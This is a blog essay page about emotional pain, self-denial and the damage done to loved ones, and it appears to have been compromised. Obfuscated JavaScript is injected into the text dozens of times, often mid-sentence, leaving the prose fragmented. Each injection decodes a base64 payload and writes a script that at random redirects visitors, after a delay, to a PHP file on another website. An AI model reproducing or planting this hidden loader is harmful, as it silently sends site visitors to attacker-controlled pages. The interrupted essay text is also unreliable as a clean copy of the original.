if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and indignance is so intense that it drives them to think that the world owes them big time. They treat everyone who crosses their path, especially those who seem to be doing better than them, badly as they feel that these people owe them a living. However, the irony is that the <a href="http://www.benakm.com/music-videos/when-the-heart-is-not-there-literally/" title="When The Heart Is Literally Not There">problem actually lies deep within themselves, in their hearts</a>. They may or may not be aware of the problem. The sad thing is most people would choose to be in a state of self-denial, running away from their situations rather than to face the problems at h<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and following what their hearts are telling them, which is usually the right thing they should be doing in such circumstances. </p>
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<a href="http://www.benakm.com/wp-content/uploads/2011/12/20071201225445_20071120105720_20071120-0093-despair.jpg"><img src="http://www.benakm.com/wp-content/uploads/2011/12/20071201225445_20071120105720_20071120-0093-despair-300x199.jpg" alt="" title="Despair" width="300" height="199" style="border: 5px solid white; margin: 5px;" class="alignleft size-medium wp-image-753" srcset="http://www.benakm.com/wp-content/uploads/2011/12/20071201225445_20071120105720_20071120-0093-despair-300x199.jpg 300w, http://www.benakm.com/wp-content/uploads/2011/12/20071201225445_20071120105720_20071120-0093-despair.jpg 899w" sizes="(max-width: 300px) 100vw, 300px" /></a>I personally have experienced such pain <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and witnessed some of these people running away from not only themselves, but also from the people they love. Instead of facing the harsh reality, they chose to run as far as they could, seeking some sort of escape. They thought they could outwit their circumstances instead of facing the pain from the bare truth. They travel very frequently, in an attempt to physically distance themselves from the pain. They numb themselves by getting drunk, they indulge in endless sex with many partners, some even go to the extreme of getting addicted to drugs. They fall prey to anything that promises temporal relief from the pain they are going through, even if they know it is immoral, unethical <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and that dire consequences will surely follow. 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The great irony here is the sufferings they inflict upon themselves in an attempt to escape. Instead of emerging victorious, they are in greater despair than ever. The feeling of being lost, unworthy, a sense of defeat comes back to haunt them once again. Only more intense this time round. Yet the greatest loss is when people who used to love them have chosen to walk away from their lives for good <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and move on without them. It's very sad to witness these people who were once happy <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and jovial, become emotionally scarred, as they suffer the impact of the consequences caused by irresponsible behaviour of people who they once loved. Yes adverse consequences definitely have a spilling over effect, in more ways than one.  </p>
<p>Now some of you may challenge the perspective that a person with the right mentality <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and a positive attitude can still go far in life without having the need to feel. Yes, definitely with these couple of attributes that person can go far in life. However, without the heart to pursue <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and persevere, to tell them what's right <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and what's wrong; most people end up failing miserably <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and repeatedly. They end up doing everything <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and anything, both ethical <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and unethical, moral <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and immoral in the pursue of their "dreams <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and goals". They choose to focus on the "idealised image" they have painted for themselves <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and will not allow anything or anyone to st<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and in their path. That's exactly where many people including the ones who truly love them will get hurt in the emotional bloodbath when they come in contact with him or her. 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We hardened our hearts <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and our conscience against ourselves, our loved ones, <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else 